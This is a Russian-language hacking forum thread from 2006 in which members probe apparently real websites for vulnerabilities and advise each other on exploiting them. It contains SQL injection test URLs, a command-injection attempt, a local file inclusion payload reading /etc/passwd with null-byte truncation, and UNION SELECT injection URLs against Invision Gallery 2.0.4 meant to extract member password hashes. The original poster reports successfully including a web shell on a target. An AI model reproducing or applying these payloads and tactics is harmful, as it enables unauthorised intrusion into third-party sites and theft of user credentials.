Помощь по SQL & PHP

Discussion in 'Песочница' started by Lorix, 7 Dec 2006.

Thread Status:
Not open for further replies.
  1. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    В общем если такие ошибки возможен ли тут sql иньекция ?

    1,
    ndex.php?ID=-1'1699&CATEGORY=0-N-1'ews

    Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sfl1/domains/2uk/public_html/story2.php on line 12

    Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in
    /home/sfl1/domains/2uk/public_html/story2.php on line 17

    *******************************************
    2,

    ain.php?pid=?Qalias=x%0a/bin/ls%20/

    Warning: main(pages/?Qalias=x /bin/ls /.php): failed to open stream: No such file or directory in /var/www/clients/jus/main.php on line 97

    Warning: main(): Failed opening 'pages/?Qalias=x /bin/ls /.php' for inclusion (include_path='.:/usr/share/pear') in /var/www/clients/just/main.php on line 97

    ********************************************

    3,

    /index.htm?id=-1'2518
    Fatal error: Call to undefined method DB_Error::fetchInto() in /var/www/html/core/lib/classes/GO_DbObj.php on line 536
    ********************************************
    ?_m=news&_a=viewnews&newsid=-1'
    Fatal error: Invalid News Item in /home/wwwdkho/public_html/support/modules/news/client_news.php on line 102
    *********************************
    4.


    ndex.php?id='company/services


    Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186

    Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186



    ******************************************
    И напоследок вот такое

    /index.php?id_page=-1

    При значение -1
    Некаких ошибок нету. Просто Появлятеся белая страница ( инечегона ней нету)

    **********************************
     
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    1. возможно sql-inj. По крайне мере раскрытие серверного пути на лицо :)
    2. возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так.
    3. вряд ли скуль.. просто ошибка в обработке данных. Но также во втором случае не исключена возможность sql-inj.
    4. чистой воды локальный инклуд. Пробуй отсечь расширения - %00

    про "напоследок".. это просто реакция такая на "плохой" параметр...скуль возможна.
     
  3. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Сенк. Сейчас буду пробывать
     
  4. EXSlim

    EXSlim Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    73
    Likes Received:
    20
    Reputations:
    18
    только локальный инклюд из /pages. %00 уместен.

    3. Вызов неопределенного метода класса. При возможности глянуть на сам класс GO_DbObj.php
     
    #4 EXSlim, 7 Dec 2006
    Last edited: 7 Dec 2006
  5. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    А где можно поподробнее почитать про локальные инклюды?

    Чтото инфы я так и ненашёл. а по мускульным инклюдам врое достаточно
     
  6. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Во вотором примере пробывал вот так

    main.php?pid=?../../../../../../../etc/passwd%00

    Warning: main(pages/?../../../../../../../etc/passwd\0.php): failed to open stream: No such file or directory in /var/www/clients/juааlar/main.php on line 97
     
  7. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    значит %00 отпадает.. во-первых, убери вопросительный знак -) а во вторых пробуй разные пхп-файлы втсавлять без расширения пхп.. без ссылки сложно судить.. может даже там ниче и нет интересного
     
  8. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0

    Можеш плиз в аську стукнутся 491104
     
  9. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    можно инклудить токо то что в папке pages/
     
  10. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    про локальные инклуды можешь почитать здесь http://forum.antichat.ru/threadnav22832-1-10.html
    в 4 случае ты можешь просмотреть services.txt, вероятнее всего там php код. возможно там есть ошибки или пароли к бд.
     
  11. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    А как считать converge_members_pass и converge_pass_salt из БД (я нашел скуль в invision gallery 2.0.4) ??? Когда ввожу в адрес вот так: site/forum/index.php?act=module&%20%20module=gallery&cmd=slideshow&show=1,%201%20UNION%20SELECT%20converge_pass_hash%20FROM%20ipbf_members%20LIMIT%201

    То выдает ошибку : mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid
    FROM ipbf_gallery_images i, ipbf_members m
    WHERE album_id=0 AND m.id=i.member_id
    ORDER BY date DESC
    LIMIT 1, 1 UNION SELECT converge_pass_hash FROM ipbf_members LIMIT 1, 1

    SQL error: Incorrect usage of UNION and ORDER BY
     
  12. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.
     
    #12 vmn, 7 Dec 2006
    Last edited: 7 Dec 2006
  13. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Спасибо! Но это мне не поможет :)
    Я вот еще нашел, но тут тоже не врубаюсь.

    http:/site/forum/index.php?act=module&module=gallery&cmd=si&img=207%20UNION%20SELECT%201,2,3,4,converge_pass_hash%20FROM%20ipbf_members_converge

    И соответственно:
    mySQL query error: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM ipbf_gallery_images WHERE album_id=3 AND id > 207 UNION SELECT 1,2,3,4,converge_pass_hash FROM ipbf_members_converge ORDER BY id ASC LIMIT 0,2

    SQL error: The used SELECT statements have a different number of columns

    Не поможешь?(уже нашел)


    Так. Я нашел число столбцов точно, теперь выдает страницу с картинкой. Но почему-то не дает мне хэшей.
     
    #13 Macro, 7 Dec 2006
    Last edited: 7 Dec 2006
  14. Lorix

    Lorix New Member

    Joined:
    5 Dec 2006
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Огромнеейшее спасибо Хатабычюю ака }{0tt@БЬ)Ч

    Что помог мне заинклюдить шелл =),

    +5 так сказать =).
     
  15. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Глобальный инклуд там и даже нулевой байт не нужен.
     
    #15 }{0TT@БЬ)Ч, 7 Dec 2006
    Last edited: 7 Dec 2006
  16. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Мда.Закрыто, раз все сделано.
     
Loading...
Thread Status:
Not open for further replies.